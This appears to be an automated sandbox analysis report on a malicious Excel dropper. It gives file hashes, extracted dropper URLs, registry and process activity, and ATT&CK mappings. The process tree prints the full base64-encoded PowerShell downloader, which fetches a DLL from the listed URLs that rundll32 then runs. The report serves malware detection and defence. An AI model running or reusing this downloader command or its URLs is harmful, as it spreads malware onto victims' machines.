11f85ab6d3af74687864ea0c2ab6131c0dd0a84854040bb04ed5425606b8fedd

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19/11/2024, 19:26

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Report Analysis Logs

General

Target

11f85ab6d3af74687864ea0c2ab6131c0dd0a84854040bb04ed5425606b8fedd.xls
Size

122KB
MD5

76aa4e1efa73db559fa8ede0f7782cce
SHA1

24b771ab7c97890084ba0cee39fd797b5920c731
SHA256

11f85ab6d3af74687864ea0c2ab6131c0dd0a84854040bb04ed5425606b8fedd
SHA512

aa557bbc7d557ecfa55125693c15deb03f814580f04ba86e30883dae1b605109d1d75cf7fc232709b4c607425fb4f5470ab957e7188b20add18c382fcead7fa5
SSDEEP

3072:/Oehv7q2Pjx45uoDGTj+5xtekEvi8/dgZBFoTLTmxW5WxVe+4YWsdiXUch1L:mehv7q2Pjx45uoDGTj+5xtFEvi8/dgZ8

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://midnightsilvercrafters.com/store/wBjNOUw/

exe.dropper

http://tempral.com/NATE_05_22_2009/BI710N4cQ6R3/

exe.dropper

https://redington.karmatechmediaworks.com/wp-content/3JVuVx7QUM/

exe.dropper

https://uhc.karmatechmediaworks.com/wp-content/0EqfdeznntlOpaIP2Qv/

exe.dropper

https://servilogic.net/b/14hqrdyP0Z3WsbQib8/

exe.dropper

https://comezmuhendislik.com/ljfrmm/VTpHRFWoORAHnRQ3aQL/

exe.dropper

http://webmail.glemedical.com/wp-content/J1M2xxodH/

exe.dropper

http://toto.karmatechmediaworks.com/wp-content/i826vbcVgRJ/

exe.dropper

https://golfpia.karmatechmediaworks.com/wp-content/oEicpDnEkk/

exe.dropper

https://fortiuspharma.com/y6krss/EGm347cqj5/

exe.dropper

https://garyjharris.com/cgi-bin/0hH/

exe.dropper

https://vietnam.karmatechmediaworks.com/wp-content/PfSVQagusZy7AaMw/

exe.dropper

https://vinculinc.karmatechmediaworks.com/wp-content/VlcOPPwgidWlXDJNs6/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2808	2084	wscript.exe	29

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\TypeLib\{4783CA4A-922A-4D39-8DDD-F6A714A1395E}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4783CA4A-922A-4D39-8DDD-F6A714A1395E}\2.0\FLAGS\ = "6"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\TypeLib\{4783CA4A-922A-4D39-8DDD-F6A714A1395E}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4783CA4A-922A-4D39-8DDD-F6A714A1395E}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4783CA4A-922A-4D39-8DDD-F6A714A1395E}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2084	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1488	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1488	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2084	EXCEL.EXE
2084	EXCEL.EXE
2084	EXCEL.EXE
2084	EXCEL.EXE
2084	EXCEL.EXE

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2084 wrote to memory of 2808	2084	EXCEL.EXE	30
PID 2084 wrote to memory of 2808	2084	EXCEL.EXE	30
PID 2084 wrote to memory of 2808	2084	EXCEL.EXE	30
PID 2084 wrote to memory of 2808	2084	EXCEL.EXE	30
PID 2808 wrote to memory of 1824	2808	wscript.exe	31
PID 2808 wrote to memory of 1824	2808	wscript.exe	31
PID 2808 wrote to memory of 1824	2808	wscript.exe	31
PID 2808 wrote to memory of 1824	2808	wscript.exe	31
PID 1824 wrote to memory of 1488	1824	cmd.exe	33
PID 1824 wrote to memory of 1488	1824	cmd.exe	33
PID 1824 wrote to memory of 1488	1824	cmd.exe	33
PID 1824 wrote to memory of 1488	1824	cmd.exe	33
PID 2808 wrote to memory of 2960	2808	wscript.exe	34
PID 2808 wrote to memory of 2960	2808	wscript.exe	34
PID 2808 wrote to memory of 2960	2808	wscript.exe	34
PID 2808 wrote to memory of 2960	2808	wscript.exe	34
PID 2960 wrote to memory of 768	2960	cmd.exe	36
PID 2960 wrote to memory of 768	2960	cmd.exe	36
PID 2960 wrote to memory of 768	2960	cmd.exe	36
PID 2960 wrote to memory of 768	2960	cmd.exe	36
PID 2960 wrote to memory of 768	2960	cmd.exe	36
PID 2960 wrote to memory of 768	2960	cmd.exe	36
PID 2960 wrote to memory of 768	2960	cmd.exe	36

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\11f85ab6d3af74687864ea0c2ab6131c0dd0a84854040bb04ed5425606b8fedd.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Windows\SysWOW64\wscript.exe
  wscript c:\programdata\oue4hjld.vbs
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\programdata\bhnasleil.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1824
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAG0AaQBkAG4AaQBnAGgAdABzAGkAbAB2AGUAcgBjAHIAYQBmAHQAZQByAHMALgBjAG8AbQAvAHMAdABvAHIAZQAvAHcAQgBqAE4ATwBVAHcALwAsAGgAdAB0AHAAOgAvAC8AdABlAG0AcAByAGEAbAAuAGMAbwBtAC8ATgBBAFQARQBfADAANQBfADIAMgBfADIAMAAwADkALwBCAEkANwAxADAATgA0AGMAUQA2AFIAMwAvACwAaAB0AHQAcABzADoALwAvAHIAZQBkAGkAbgBnAHQAbwBuAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMASgBWAHUAVgB4ADcAUQBVAE0ALwAsAGgAdAB0AHAAcwA6AC8ALwB1AGgAYwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAwAEUAcQBmAGQAZQB6AG4AbgB0AGwATwBwAGEASQBQADIAUQB2AC8ALABoAHQAdABwAHMAOgAvAC8AcwBlAHIAdgBpAGwAbwBnAGkAYwAuAG4AZQB0AC8AYgAvADEANABoAHEAcgBkAHkAUAAwAFoAMwBXAHMAYgBRAGkAYgA4AC8ALABoAHQAdABwAHMAOgAvAC8AYwBvAG0AZQB6AG0AdQBoAGUAbgBkAGkAcwBsAGkAawAuAGMAbwBtAC8AbABqAGYAcgBtAG0ALwBWAFQAcABIAFIARgBXAG8ATwBSAEEASABuAFIAUQAzAGEAUQBMAC8ALABoAHQAdABwADoALwAvAHcAZQBiAG0AYQBpAGwALgBnAGwAZQBtAGUAZABpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ASgAxAE0AMgB4AHgAbwBkAEgALwAsAGgAdAB0AHAAOgAvAC8AdABvAHQAbwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBpADgAMgA2AHYAYgBjAFYAZwBSAEoALwAsAGgAdAB0AHAAcwA6AC8ALwBnAG8AbABmAHAAaQBhAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG8ARQBpAGMAcABEAG4ARQBrAGsALwAsAGgAdAB0AHAAcwA6AC8ALwBmAG8AcgB0AGkAdQBzAHAAaABhAHIAbQBhAC4AYwBvAG0ALwB5ADYAawByAHMAcwAvAEUARwBtADMANAA3AGMAcQBqADUALwAsAGgAdAB0AHAAcwA6AC8ALwBnAGEAcgB5AGoAaABhAHIAcgBpAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAwAGgASAAvACwAaAB0AHQAcABzADoALwAvAHYAaQBlAHQAbgBhAG0ALgBrAGEAcgBtAGEAdABlAGMAaABtAGUAZABpAGEAdwBvAHIAawBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUABmAFMAVgBRAGEAZwB1AHMAWgB5ADcAQQBhAE0AdwAvACwAaAB0AHQAcABzADoALwAvAHYAaQBuAGMAdQBsAGkAbgBjAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFYAbABjAE8AUABQAHcAZwBpAGQAVwBsAFgARABKAE4AcwA2AC8AIgAuAHMAUABMAEkAdAAoACIALAAiACkAOwAgAGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkAD0AKAAiAGMAaQB1AHcAZAA6AGkAdQB3AGQAXABwAHIAaQB1AHcAZABvAGcAaQB1AHcAZAByAGEAbQBpAHUAdwBkAGQAYQB0AGkAdQB3AGQAYQBcAHYAeABjAGoAawBmAGgAZAAuAGQAaQB1AHcAZABsAGkAdQB3AGQAbAAiACkALgByAGUAUABsAEEAQwBlACgAIgBpAHUAdwBkACIALAAiACIAKQA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1488
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2960
  - - \??\c:\windows\syswow64\rundll32.exe
      c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
      4⤵
      System Location Discovery: System Language Discovery
      PID:768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\programdata\bhnasleil.bat

Filesize
3KB

MD5
0f96848827a2960f874bcf613ce1e72c

SHA1
d936a765910adaf627fc6459716847fd87595ea2

SHA256
9e9915a1e009b7a9283629e5a1a66604915030b445c1f266914955299563473e

SHA512
00f04d42d544c0564ca4d435fbc0803ebcd8eabaa45abc852b449beffb4f3701681b8c908f580640e71686255c83aa698f10ea75a51dd0bf76c177132e86b862

Download Submit
\??\c:\programdata\oue4hjld.vbs

Filesize
604B

MD5
a0e5c8b0ad3da42bf6952871a41bf5e8

SHA1
cd2106ebaf43d596057457e87cf4c8482e246005

SHA256
5c3d66e2d33dfb51c691010af5d0a87250aa475235b537a336c607ade93a881a

SHA512
c685cc80c128087b6711ab65c7a0f2c63f55dfbab8577aea20d668112f77a0e69e7e350ff314201e93b8ef79f72764c79fc20e903c1a1f973e37ae3a873ff725

Download Submit
memory/2084-25-0x0000000000480000-0x0000000000580000-memory.dmp

Filesize
1024KB

Download
memory/2084-67-0x0000000000480000-0x0000000000580000-memory.dmp

Filesize
1024KB

Download
memory/2084-24-0x0000000000480000-0x0000000000580000-memory.dmp

Filesize
1024KB

Download
memory/2084-18-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-17-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-16-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-14-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-15-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-13-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-66-0x0000000000480000-0x0000000000580000-memory.dmp

Filesize
1024KB

Download
memory/2084-11-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-10-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-9-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-7-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-6-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-5-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2084-23-0x0000000000480000-0x0000000000580000-memory.dmp

Filesize
1024KB

Download
memory/2084-22-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-21-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-20-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-19-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-26-0x0000000000480000-0x0000000000580000-memory.dmp

Filesize
1024KB

Download
memory/2084-29-0x0000000000480000-0x0000000000580000-memory.dmp

Filesize
1024KB

Download
memory/2084-28-0x0000000000480000-0x0000000000580000-memory.dmp

Filesize
1024KB

Download
memory/2084-27-0x0000000000480000-0x0000000000580000-memory.dmp

Filesize
1024KB

Download
memory/2084-96-0x0000000000480000-0x0000000000580000-memory.dmp

Filesize
1024KB

Download
memory/2084-31-0x0000000000480000-0x0000000000580000-memory.dmp

Filesize
1024KB

Download
memory/2084-30-0x0000000000480000-0x0000000000580000-memory.dmp

Filesize
1024KB

Download
memory/2084-89-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB

Download
memory/2084-82-0x0000000000480000-0x0000000000580000-memory.dmp

Filesize
1024KB

Download
memory/2084-72-0x0000000006FB0000-0x00000000070B0000-memory.dmp

Filesize
1024KB
